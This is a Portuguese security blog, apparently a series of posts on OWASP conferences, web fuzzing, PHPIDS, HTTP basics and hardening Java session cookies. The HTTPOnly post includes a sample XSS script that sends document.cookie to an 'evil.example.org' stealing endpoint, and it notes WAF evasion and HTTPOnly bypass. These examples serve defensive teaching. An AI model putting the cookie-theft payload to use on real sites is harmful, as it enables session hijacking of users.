Tratando o Top 10 da OWASP em aplicações .Net

Organizando minhas apresentações eu encontrei esta apresentação que eu fiz no Tech-Ed 2007. A idéia da palestra era comparar, mostrar as diferenças entre o OWASP Top 10 2004 e o 2007 e também apresentar alternativas para tratamento das vulnerabilidades apresentadas utilizando os recursos da plataforma .Net.

OWASP Top 10 e aplicações .Net - Tech-Ed 2007

View more presentations from Conviso IT Security.

Conteúdo da apresentação na Hacker to Hackers Conference 2009

Palestrar na H2HC é sempre uma grande experiência, além de encontrar vários amigos que reencontro nestes tipos de eventos, ainda tenho a possibilidade de conversar discutir sobre assuntos pouco discutidos em meios tradicionais. Este ano eu fiz uma apresentação explorando a técnica Fuzzy para identificar falhas em aplicação Web. Encontrar um auditório cheio as 8hrs. da manhã de um Domingo com chuva e pós a festa da conferência, foi sensacional. Obrigado a todos. Uma pena que a apresentação é bastante voltada para interação, discussão e apresentação de demonstrações sobre o tema, não gosto de muitos slides. ;-(

Mas aguardem, em breve os vídeos serão disponibilizados.

Playing Web Fuzzing - H2HC 2009

View more presentations from Conviso IT Security.

Conteúdo da apresentação na Php Conference 2009

No último dia 27 de Novembro eu tive a oportunidade de realizar uma apresentação técnica sobre o funcionamento e utilização do PHPIDS para proteger aplicações php. A apresentação foi complementada com várias demonstrações e o público interagiu bastante. Obrigado a todos os que compareceram.

Protegendo Aplicações Php com PHPIDS - Php Conference 2009

View more presentations from Conviso IT Security.

OWASP AppSec Brasil 2009 - Um Sucesso!

Há pouco mais de um ano atrás quando iniciamos as conversas para organizar um evento OWASP no Brasil, as dificuldades não foram poucas, pois os custos não são baixos para realizar um grande evento como a comunidade merece.

Foi então que o meu amigo Lucas Ferreira, como bom mineiro, de repente sem grande alarde ele conseguiu um apoio da Câmara dos Deputados e do TI Controle e conseguiu viabilizar um evento sensacional.

Passado o trabalho da organização, chegou a tão aguarda hora. No dia 27 e 28 aconteceram os Mini-Cursos, muitos inscritos e conteúdo de boa qualidade. Dia 29 e 30 aconteceram as palestras. Após a abertura do evento com a participação de representante da OWASP e políticos, Gary McGraw entrou em cena e deu um show, não, ele não é nenhum astro da música, mas sim um dos maiores especialistas em segurança em desenvolvimento e cativou a platéia como poucos.

Passado o show de Gary, os outros palestrantes manteram o altíssimo nível do evento. Até o Ulisses Castro que foi convocado as pressas, pois 3 palestrantes internacionais tiveram sintomas da gripe H1N1, assumiu o compromisso e deu um show com uma palestra bastante técnica e 100% prática.

Todas as palestras podem ser conferidas nos vídeos disponibilizados pela Câmara:
http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29#tab=Arquivos_das_Apresenta.C3.A7.C3.B5es

A AppSec 2010 já está confirmada no Auditório da CpQD e contamos com o apoio da comunidade para realizar mais um grande evento.

Got OWASP?

Microsoft Hello Secure World

A Microsoft disponibiliza um ambiente onde é possível fazer laboratórios explorando as seguintes vulnerabilidades:

• XSS (Cross Site Scripting)
• SQLi (SQL Injection)
• Canonicalization Attack
• CSRF (Cross Site Request Forgery)
• Integer Overflow/Undeflow

Para explorar os laboratórios online siga estes passos:

1 - acesse o seguinte endereço: http://www.microsoft.com/click/hellosecureworld/default.mspx
2 - Clique no leitor biométrico para entrar nos laboratórios
3 - Instale os plugins necessários
4 - Clique em The V-Lab no lado inferior direito
5 - Escolha o teste que deseja explorar
6 - Enjoy!

Playing Web Fuzzer

Nos dias 28 e 29 acontece a sexta edição da Hackers to Hackers Conference. Eu estarei apresentando uma palestra sobre Fuzzing  em aplicações Web. Confira os detalhes da apresentação.

Playing Web Fuzzer

A palestra irá mostrar as vantagens e técnicas usadas para identificar falhas em aplicações WEB usando Fuzzer. Para isto serão feitas demonstrações utilizando ferramentas como WebSlayer e JBroFuzz e os recursos do OWASP Fuzzing Code Database Project.

Protegendo aplicações em php com PHPIDS

Nos dias 27, 28 e 29 Novembro estarei na Php Conference Brasil 2009 apresentando uma palestra sobre PHPIDS, confira os detalhes da apresentação.

Trilha: Segurança

Título: Protegendo aplicação php com PHPIDS

Nível: Avançado

Resumo: Trate ataques SQLi, XSS, dentre outros que compõem ranking de vulnerabilidades como o Top 10 da OWASP (Open Web Application Security Project) em aplicações web desenvolvidas em php usando o PHPIDS.

Descrição: Além de processos e técnicas para desenvolver código seguro é necessário investir em soluções de respostas a ataques. Estas respostas geralmente são realizadas e suportadas por soluções de WAF (Web Application Firewall). O PHPIDS é um Intrusion Detection System e irá identificar e evitar os principais ataques, pode ser integrado a solução como HTML Purifier e Mencached.

Pré-Requisitos: Conhecimentos de php e noções básicas de segurança em aplicações web.

Referências:
http://php-ids.org/
http://htmlpurifier.org/
http://www.danga.com/memcached/

AppSec Brasil 2009 - CHAMADA PARA PARTICIPAÇÃO

Conferência internacional de Segurança de Aplicações, organizada e promovida pela comunidade TI-controle e pelo Centro de Informática da Câmara dos Deputados, em parceria com o OWASP, Capítulo brasil, e com apoio da Universidade de Brasília (UnB).

O Centro de Informática da Câmara dos Deputados e a Comunidade TI-Controle convidam a todos a participarem da Conferência Internacional de Segurança de Aplicações (AppSec Brasil 2009), que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009.

Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009.

Keynotes

Dr. Gary McGraw, CTO da Cigital: O Modelo de Maturidade Building Security In (BSIMM)

Jason Li, Aspect Security: Ágil e Seguro: É possível fazer os dois?

Dinis Cruz, OWASP Board: Apresentação do Projeto OWASP

Kuai Hinojosa, NY University e OWASP: Implementando Aplicações Web Seguras Usando Recursos do OWASP

Palestras

A Conferência contará com palestras técnicas que tratarão diversos aspectos de Segurança de Aplicações. Os temas incluem:

• Segurança de aplicações web
• Otimização de gastos com segurança
• SQL Ownage
• ferramentas.
  

Mini-cursos

A Conferência contará também com 5 mini-cursos:

• Gestão de Riscos de Segurança Aplicada a Web Services
• Segurança Web: Técnicas para Programação Segura de Aplicações
• Segurança Computacional no Desenvolvimento de Web Services
• Tecnologias de Segurança em Web Services
• Hands on Web Application Testing using the OWASP Testing Guide.
  

Local

A Conferência ocorrerá na Câmara dos Deputados, em Brasília. As plenárias serão no auditório Nereu Ramos, no Anexo II e os mini-cursos serão no Centro de Formação, Treinamento e Aperfeiçoamento.

Inscrições

A participação na Conferência será gratuita, mas, devido à limitação de lugares, será necessário inscrever-se previamente.

As inscrições estarão abertas a partir do dia 29/10/2009 na URL: http://www.camara.gov.br/appsecbrasil2009

Informações

Para maiores informações, favor consultar os sites abaixo ou enviar email para appsec.brasil@camara.gov.br

• Inscrições e informações sobre a conferência: http://www.camara.gov.br/appsecbrasil2009
  
• Comunidade TI-Controle: http://www.ticontrole.gov.br
  
• Câmara dos Deputados: http://www.camara.gov.br

SDL (Secure Development Lifecycle) - Tão simples quanto parece?

Devido a demandas por adequação a padrões, o processo de segurança em desenvolvimento de software é hoje um assunto em alta. Isto me preocupa, afinal, de onde surgiram tantos especialistas? Cheguei a comentar com um amigo: tem mais especialista que aplicação vulnerável.

São inúmeras palestras e promessas milagrosas. Pessoas citam os touchpoints de Gary McGraw e o processo de SDL da Microsoft como se fossem íntimos e tenham implementado em vários cenários e organizações, sem contar a falácia da ISO/IEC 15.408, que muitos acreditam cegamente ser uma proposta para segurança em desenvolvimento.

Tudo isto para buscar ser "cool" e/ou tentar abocanhar uma fatia de um mercado que vem surgindo. A pesquisa, o estudo e disseminação de conhecimento são super importantes, mas que, os que se aventuram pelo tema tenham convicção de uma coisa: não é nenhum pouco simples e fácil implementar e ter bons resultados com processos de SDL.

Wagner, você está traindo "o movimento"? Você não acredita mais em segurança em desenvolvimento?

Muito pelo contrário, acredito e muito, mas sei muito bem o caminho a ser percorrido e as dificuldades que encontrarei. Há pelo menos cinco anos eu estudo e vivencio como consultor, a realidades das organizações frente à segurança de software.

Muitas organizações não conseguem justificar mais uma área de desenvolvimento interno, como irão justificar o investimento em segurança de software? Os sábios logo dirão: Cobre do fornecedor o processo de SDL.

Sim, você pode cobrar do fornecedor, só não se assuste se o seguinte cenário lhe for apresentado: Eu cobro R$ 500,00 por hora de desenvolvimento, com segurança eu preciso incluir um pequeno adicional, fica R$ 600,00 por hora.

Como diria o Zé: não existe almoço grátis! Alguém tem que pagar a conta.

Como equacionar esta dificuldade de justificar e conscientizar as empresas a investir recursos em segurança em desenvolvimento?

Não existe resposta pronta, sugestões como: conscientize, treine, mostre o ROI, etc... Servem para uns e não servem para outros. Se eu pudesse sugerir algo, eu começaria pelo básico, não acredite em soluções milagrosas, não acredite em quem lhe promete entregar o que você não conseguiu a vida toda em um mês de trabalho e ao preço de um almoço.

Um processo como este leva tempo e no mínimo os seguintes aspectos devem ser considerados:

• Compliance é o mínimo do requerido, não espere que esta demanda justifique o processo de segurança em desenvolvimento;


• Identifique de que maneira a sua organização é afetada pela insegurança de software;


• Tenha ciência que a maioria dos impactos relacionados a incidentes envolvendo falhas de software impacta indiretamente a organização e os valores são intangíveis. A famosa fórmula de ROI pode não lhe ajudar nestes cenários;


• Envolva todos no processo, não seja apenas o auditor que aponta as falhas e cobra uma solução;


• Não trate um processo de SDL como um projeto que você desenvolve meia dúzia de documentos e está feito. Busque a melhoria contínua, crie e acompanhe métricas que possam viabilizar e melhorar o processo.

Com estes pontos você terá muito trabalho, a parte fácil é desenhar os fluxos e escrever cartilhas e procedimentos.

[Update - 25 de Setembro] O Fernando Cima escreveu um post com excelentes referências para quem deseja implementar um SDL:  Retorno Sobre o Investimento de um Processo Seguro de Desenvolvimento

Uma alternativa ao SSL

Muitas vezes necessitamos criptografar o tráfego de dados sensíveis em aplicação, a melhor opção para estes casos é usar SSL. Obviamente que o SSL deve ser bem implementado, pois muitas vezes ele é mal implementado e possibilita que algumas vulnerabilidades sejam exploradas.

Infelizmente implementar SSL em todos os ambientes nem sempre é responsabilidade do desenvolvedor, geralmente ele depende de uma área responsável por infraestrutura. Quando não existe um bom relacionamento entre as áreas e/ou um estudo de requisitos antes de colocar uma aplicação em produção, a aplicação acaba indo para produção sem o SSL e consequentemente exposta as vulnerabilidades pertinentes a data tampering.

Uma alternativa para desenvolvedores é um plugin chamado JCryption para o framework javascript JQuery. O plugin possibilita que seja criptografado as requisições POST e GET. Ele não substitui o SSL, mas pode "quebrar o galho" em algumas requisições.

A implementação é simples, basta seguir os exemplos da página do plugin.

Hardening de sessões em ambiente Java

É bastante comum eu encontrar problemas em sessões de aplicações baseadas no ambiente Java. Estes problemas geralmente não são conhecidos por desenvolvedores, pois eles deixam todo o processo de criação e gestão de sessão a cargo do servidor de aplicação. A grande maioria dos servidores de aplicação Java não suportam ou não trazem por padrão as configurações adequadas para garantir a segurança destas sessões.

Neste post eu pretendo apresentar a solução para cada um dos problemas que eu encontro em análises que eu realizo. Todas as soluções dependem de codificação e devem ser feitas pelo desenvolvedor.

1 - Falta da flag HTTPOnly nos cookies de sessão

Como já podemos verificar em outro post aqui no blog, a falta da flag HTTPOnly nos cookies de sessão é um facilitador para ataques client-side que buscam sequestrar sessão de usuário, pois sem a flag é possível capturar o ID de Sessão via javascript. Mais informações podem ser obtidas na referência da OWASP.

Como tratar este risco

Para tratar este risco é preciso reescrever o cookie mantendo os dados originais e incluindo a flag HTTPOnly.

response.setHeader("Set-Cookie",
                   "originalcookiename=originalvalue;
                   HTTPOnly");

2 - Falta da Flag secure nos cookies de sessão

É importante que a flag secure seja setado em todo cookie de sessão. Isto irá garantir que um cookie gerado em uma conexão HTTPS (Conexão Criptografada) irá trafegar apenas por uma conexão tunelada via HTTPS. A falta desta flag permite que o cookie seja trafegado via HTTP (Texto Claro) e possa ser capturado por usuários mal intencionados que estejam capturando pacotes em rede. Mais informações podem ser obtidas na referência da OWASP.

Como tratar este risco

O tratamento deste risco é semelhante ao do HTTPOnly, basta reescrever o cookie e incluir a flag secure. Não esqueça de manter a flag HTTPOnly ao reescrever o cookie para incluir a flag secure.

response.setHeader("Set-Cookie",
                   "originalcookiename=originalvalue;
                   Secure;HTTPOnly");

3 - Session Fixation

Com esta vulnerabilidade o ID de sessão pode ser capturado por um ataque client-side e ser "forçado" seu uso em uma requisição. Isso possibilita burlar o sistema de autenticação da aplicação. Mais informações podem ser obtidas na referência da OWASP.

Como tratar este risco

Para tratar este risco é necessário recriar a sessão após a autenticação. Um exemplo de código é dado pelo Lucas Ferreira no seu site sobre segurança em Java.

O código abaixo mostra como abandonar uma sessão a criar outra após a autenticação:

public class ExampleLoginServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
     if( //autenticação bem sucedida ) {
        request.getSession().invalidate();
        HttpSession session = request.getSession(true);
        session.setAttribute("AUTHENTICATED", new Boolean(true));
        response.sendRedirect("PageRequiringAuthentication.jsp");

No caso de aplicações Struts 2, o código abaixo é mais apropriado:

if(//autenticação bem sucedida)  {

     /* Renovação do identificador de sessão */
     ((SessionMap)this.session).invalidate();
     this.session = ActionContext.getContext().getSession();

     session.put("AUTHENTICATED", new Boolean(true));

     return SUCCESS;
  }

  else
     return ERROR;
}

É importante que desenvolvedores entendam que para garantir a seguranca de uma aplicação, é preciso configurar adequadamente todos os ativos que a suportam, como: Banco de Dados e Servidor de Aplicação. Um bom código sem uma infraestrutura adequada pode levar ao comprometimento da aplicação.

OWASP AppSec Brasil 2009 - CFP Deadline

Estamos na última semana para submissão de propostas de palestras para o AppSec Brasil 2009. Mais informações na página do evento: http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29

Ajudem-nos a espalhar o CFP e a solicitar o envio de propostas interessantes para o evento.

Fiddler, uma boa opção para teste de app web

Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive a oportunidade de testá-los.

Como eu precisava de uma opção rápida, optei pelo Fiddler. Já fazia um bom tempo que eu não o utilizava, a última vez foi para testar o Watcher, quando foi lançado há alguns meses atrás.

O fiddler, atualmente na versão v2.2.2.2.2 Beta (isso mesmo, eu não me enganei na quantidade de números 2), é um sniffer bem completo e que possui uma série de plugins que ajudam muito na depuração e identificação de falhas em aplicações web. Com uma interface bastante apurada você pode mapear claramente a aplicação e inclusive documentar requisições usando a opção Comment. Para utilizar o Fiddler basta iniciá-lo e configurar o seu Internet Explorer para usar o proxy no endereço IP 127.0.0.1 (Localhost) na porta 8888.

Bom, vamos ao que interessa, as extensões que o Fiddler possui. Uma bem interessante e que lembra muito o modo de teste do Ratproxy (análise passiva) do Google, é o Watcher. Esta extensão se acopla ao Fiddler e realiza uma série de testes de segurança da aplicação.

O modo de instalação do Watcher é bem simples, basta extrair os seguintes arquivos do pacote de instalação: Watcher.dll e WatcherCheckLib.dll no diretório scripts que se encontra no diretório: %userprofile%\My Documents\Fiddler2\Scripts no Windows XP e %userprofile%\Documents\Fiddler2\Scripts. Após a extração dos arquivos no diretório adequado é só reiniciar o Fiddler que irá aparecer uma aba chamada: Security Auditor.

Como utilizar o Watcher?

Na aba Security Auditor insira o domínio da aplicação que você deseja testar.

Após definir o domínio é só clicar em Save Config e navegar na aplicação usando o Internet Explorer configurado para navegar usando o Fiddler como proxy.

Após navegar por toda a aplicação que você deseja testar, clique na aba Results do Watcher e confira a análise realizada.

O que eu achei bem interessante no Watcher foi a possibilidade de incluir, alterar as mensagens que ele analisa durante o parser nas respostas a requisições na página. Um que vale a pena gastar um tempo e incluir palavras chaves é o teste que procura por palavras chaves em comentários no código.

Ah! Quem utiliza o Internet Explorer para testar aplicações e quer sugerir plugins, ferramentas, o comentário está ai pra isto.

[Update 31/08/2009]

Alguns plugins para o Internet Explorer:

Tamper IE: Similar ao excelente Tamper Data do Firefox
Internet Explorer Developer Toolbar: Similar ao Web developer Toolbar do Firefox
HTTP Watch: Similar ao HTTP Live Header do Firefox
IECookiesView: Similar ao CookieEditor do Firefox

Treinamentos You Sh0t the Sheriff 3.0

Este ano a Conviso está novamente patrocinando o evento You Sh0t the Sheriff. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.

A conviso irá ministrar dois treinamentos:

• Web Hacking Techniques
• Internet Hacking Techniques

O evento acontece no dia 22 de Junho e espero vocês lá.

Chamada de Trabalhos - OWASP AppSec Brasil 2009

O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. Esta conferência será promovida e organizada pela Comunidade TI-Controle e pela Câmara dos Deputados.

Buscamos pessoas e organizações que queiram ministrar palestras sobre segurança de aplicações. Em particular destacamos os seguintes tópicos de interesse:

• Modelagem de ameaças em aplicações (Application Threat Modeling)
• Riscos de Negócio em Segurança de aplicações (Business Risks with Application Security)
• Aplicações de Revisões de Código (Hands-on Source Code Review)
• Métricas Aplicadas a Segurança de Aplicações (Metrics for Application Security)
• Ferramentas e Projetos do OWASP (OWASP Tools and Projects)
• Tópicos de Privacidade em Aplicações e Armazenamento de Dados (Privacy Concerns with Applications and Data Storage)
• Práticas de Programação Segura (Secure Coding Practices)
• Programas de Segurança para todo o Ciclo de Vida de alicações (Secure Development Lifecycle Programs)
• Tópicos de Segurança para tecnologias específicas (AJAX, XML, Flash, etc) (Technology specific presentations on security such as AJAX, XML, etc)
• Controles de Segurança para aplicações Web (Web Application Security countermeasures)
• Testes de Segurança de aplicações Web (Web Application Security Testing)
• Segurança de Web Services ou XML (Web Services-, XML- and Application Security)

A lista de tópicos não é exaustiva; outros tópicos podem ser abordados, desde que em consonância com o tema central do evento.

As propostas devem conter:

• Nome do apresentador e dos demais autores
• E-mail e telefone do apresentador
• Curriculum resumido do apresentador e, opcionalmente, dos demais autores
• Título da apresentação
• Resumo e abstract
• Lista de todos os assuntos a serem abordados durante a apresentação
• Qualquer outro material que os autores julguem necessários (Estes materiais ficarão restritos ao comitê de programa)

Cada apresentação terá 45 minutos de duração, seguidos de 10 minutos para perguntas da platéia. Todas as apresentações deverão estar em conformidade com as regras definidas pelo OWASP em seu "Speaker Agreement".

Datas importantes:

A data limite para apresentação de propostas é 11 de julho de 2009 às 23:59, horário de Brasília.

A notificação de aceitação ocorrerá até o dia 7 de agosto de 2009.

A versão final das apresentações deverá ser enviada até o dia 15 de setembro de 2009.

As propostas devem ser enviadas para o e-mail: appsec.brasil@camara.gov.br

Para mais informações, favor consultar as seguintes páginas:

Página da conferência: https://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)

Perguntas frequentes: https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_(pt-br)

OWASP Speaker Agreement (em inglês): http://www.owasp.org/index.php/Speaker_Agreement

Comunidade TI-Controle: http://www.ticontrole.gov.br

Câmara dos Deputados: http://www.camara.gov.br

OWASP AppSec Brazil 2009 - Brasília, 27-30 de outubro de 2009

Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.

A Conferência será promovida pelo OWASP Brasil com o suporte da Comunidade TI-Controle para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:

• Desenvolvimento seguro


• Segurança e arquitetura de software


• Processos de desenvolvimento de sistemas seguros


• Ferramentas para análise de segurança de aplicações


• Bibliotecas e frameworks de segurança para aplicações web


• Auditoria e testes de segurança em aplicações


• Metodologias gerenciais para melhoria da segurança no desenvolvimento de software


• Análise de ataques a aplicações


• Avaliação de riscos de negócio em aplicações web


• Segurança de web services

A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da OWASP.

Encontrando vulnerabilidades em aplicações web com teste fuzzy

Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta WebSlayer.

Usando o WebSlayer para fuzzing em aplicações Web

WebSlayer é uma ferramenta desenvolvida pelo grupo Edge-security, é apoiada pela OWASP e foi lançado no último Summit em Portugal. A ferramenta possibilita que seja realizado inúmeros testes em aplicações web, especialmente fuzzing.

Possui uma boa interface gráfica, aliada a uma boa base de conhecimento (wordlists). A ferramenta fornece apenas wordlists, não fornece pacotes, requisições HTTP que possam ser usadas no fuzzing, a ferramenta permite que você gere o payload da forma como achar melhor.

Vamos usar uma abordagem estruturada de fuzzing para explorar os recursos do WebSlayer

1 - Identificar o Alvo

Vamos iniciar definindo qual a URL será testada.



2 - Identificar o Input

Agora vamos identificar o input onde será injetados os dados da wordlist. Caso seja parâmetros GET, ele será informado na própria URL, se for POST será informado na caixa de texto abaixo, específica para parâmetros POST. o WebSlayer irá injetar as palavras/strings, onde você inserir a tag FUZZ. Por exemplo, http://sitealvo.com/teste.php?parametro1=FUZZ. O WebSlayer irá injetar as strings das wordlists no parâmetro onde eu informei a tag FUZZ.





3 - Gerar o payload (dado que será usado no fuzzing)

Neste passo iremos selecionar o tipo de wordlist que iremos injetar. Também é possível gerar requisições/payloads específicos, mas vamos trabalhar com as wordlists neste post. Além de escolher a wordlist, também podemos mandar injetar estas informações codificadas, buscando evadir assinaturas de WAF (Web Application Firewall) e controles na aplicação.



4 - Executar o Fuzzing

Definido quais os dados serão usados no fuzzing, clique em executar os testes.

5 - Monitorar as Exceções

Ao executar o fuzzing, será apresentado na seção Attack Results, todas as respostas que foram dadas pela aplicação a cada requisição que o fuzzing fez.



6 - Identificar possíveis pontos de exploração

Na seção Attacks Results você irá identificar qual os inputs são possíveis vetores de ataque, quais são os inputs vulneráveis. Esta identificação será feita de acordo com a resposta e a utilização de Regex (Expressões regulares).




Isso é uma utilização básica do WebSlayer, vários outros testes podem ser executados. Até o momento só a versão Windows está disponível, em breve as versões para Mac e Linux estarão disponíveis.

Segurança de Cookies de sessão e HTTPOnly

Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP.

O que acontece se eu não tomar cuidado com a sessão?

Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na página sobre gestão de sessão da OWASP.

Como mitigar (diminuir) os riscos associados a cookies de sessão?

Além de implementar adequadamente a gestão de sessão, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag httponly nos cookies.

Exemplo de cookie com a flag HTTPOnly
Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly

Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão?

A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.

Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.

<script><br />document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie<br /></script><br />

Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?

Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: javascript:alert(document.cookie); Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.

Como implementar HTTPOnly?

Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, como é o caso do Rails. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:

• Php
• Java
• .Net
  

Alguns browsers também pode forçar o uso do HTTPOnly.

Existe algum tipo de "bypass" de HTTPOnly?

Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, usando requisições XHR (XMLHttpRequest).

Estou voltando!

Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.

Os últimos meses foram alucinantes, muito trabalho, um treinamento na uCon, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio ficou suspenso por um dia. :(

Agora estou de volta, vou começar a agitar isso aqui novamente e espero que os leitores apreciem.

Source Code Static Analysis - Quadrante Mágico do Gartner

Agora em Fevereiro saiu o quadrante mágico do Gartner classificando os players de source-review. A fortify se destaca no quadro! Vale ressaltar que apenas Fortify e Ounce Labs tem ferramentas que nasceram para revisão de segurança de código, todos os outros players tem soluções que evoluiram, foram adaptadas, para revisão de segurança.

HTTP Essentials

Como diz meu amigo Sp0oker: "como falar de payload para pessoas que não sabem o que é um Three Way Handshake?" Pensando nisso eu resolvi divulgar esta parte sobre http do material do treinamento de web hacking techniques. O conteúdo é o básico para conhecer como funciona o protocolo HTTP, essencial para análise de segurança em aplicações WEB.

O que é o protocolo HTTP

O HTTP (Hypertext Transfer Protocol) é um protocolo que atua na camada de aplicação de acordo com o modelo OSI e estabelece um conjunto de regras, padrão para troca de mensagens entre recursos na WEB.

O HTTP possui as seguintes versões:

• HTTP/0.9 (Criado em 1991)


• HTTP/1.0 (Criado em 1996)


• HTTP/1.1 (Criado em 1999)

Não é o propósito deste tutorial explicar os detalhes de cada versão, mais detalhes podem ser obtidos na RFC 2145 (Use and Interpretation of HTTP Version Numbers).

Como trabalha o protocolo HTTP

O protocolo HTTP tem uma característica que é de fundamental entendimento para quem analisa segurança em aplicações WEB, é o fato dele ser stateless, isso significa que ele não mantém uma conexão, ele sempre conecta, envia uma mensagem, recebe uma resposta e desconecta, como ilustra a figura 1.

Figura 1

Por este motivo é utilizado recursos extras como cookie e/ou sessões para garantir a persistência dos dados e informações que são disponibilizados em aplicações.

A figura 2 mostra a visão do protocolo HTTP e seus dados frente a camada TCP/IP, na figura 3 podemos identificar como funciona a comunicação em uma rede de dados e na figura 4 um exemplo de um header (cabeçalho) HTTP.

Figura 2

Figura 3 


Figura 4

Quando estamos falando de aplicações WEB geralmente estamos sempre fazendo referência a URI (Uniform Resource Identifiers) como http://wagnerelias.com, técnicamente a URI serve apenas para fazer referência a um determinado domínio, quando precisamos acessar recursos WEB via browser utilizamos a URL(Uniform Resource Locators). Para conseguir identificar e explorar determinados recursos de uma aplicação é essencial que se entenda exatamente o que cada parte de uma URL representa, na figura 5 temos uma descrição de cada parte de uma URL.

Figura 5

Já sabemos o que é um protocolo HTTP, quais as suas principais características, mas é preciso entender quais são seus principais métodos e códigos de status, na figura 6 temos um representação de uma requisição do browser e uma resposta do servidor.

Figura 6

Métodos HTTP

Os métodos, também conhecidos como verbos HTTP, são os seguintes:

• GET: é o método mais comum e tem como característica enviar seus parâmetros direto na URI


• POST: é um método que envia os dados no corpo do header e possui características mais seguras para se enviar requisições ao servidor


• HEAD: semelhante ao GET mas não obtem o recurso, apenas meta dados


• PUT: envia um recurso para o servidor


• DELETE: exclui um recurso do servidor


• TRACE: através da resposta obtida por uma requisição trace é possível saber o que foi alterado na requisição por um servidor intermediário


• OPTIONS: consulta os métodos HTTP que o servidor aceita


• CONNECT: usado em soluções de proxy

Os métodos são informados no momento que é feito uma requisição HTTP ao servidor de aplicação.

Código de Status do HTTP

Os códigos de status estão classificados em cinco tipos.

• 1xx: Informação


• 2xx: Sucesso


• 3xx: Redirecionamento


• 4xx: Erro no cliente


• 5xx: Erro no server

Uma lista completa de códigos de status pode ser obtida aqui. Sempre que uma requisição usando um método HTTP é feita ao server é recebido uma resposta com um status code.

O HTTP também possui recursos de autenticação nativos que pretendo falar mais sobre eles em um post futuro, os dois modelos são:

• Autenticação Básica


• Autenticação Digest

Eu costumo usar muito os recursos do firefox para analisar as requisições e respostas HTTP, os principais addon são estes:

Live HTTP Headers

Modify Headers

HTTPFox



Tamper Data

Além dos addon do firefox eu estou usando uma ferramenta desenvolvida pelo tiger team 514 que faz várias requisições usando métodos diferentes e dando o status code de cada uma.

HTTP Methods  

Este post foi uma introdução sobre o funcionamento e principais características do http. As referências para este tutorial foram os livros: Whiley - HTTP Essentials Protocols for Secure, Scaleable Web Sites; O'Reilly - HTTP Definitive Guide; Sams - HTTP Developer's Handbook.

View-State and ASP.NET Security

Há muito tempo atrás eu fui questionado por um cliente ao mencionar que o view-state de uma aplicação dele estava expondo informações sensíveis. A justificativa dele é que isso era um comportamento padrão do ASP.NET. Ele tinha razão, o ASP.NET depende muito do view-state e cria um campo HIDDEN onde dados são armazenados na sessão.

Na situação eu recomendei que pelo menos ele utilizasse recursos para criptografar os dados mantidos na View-State.

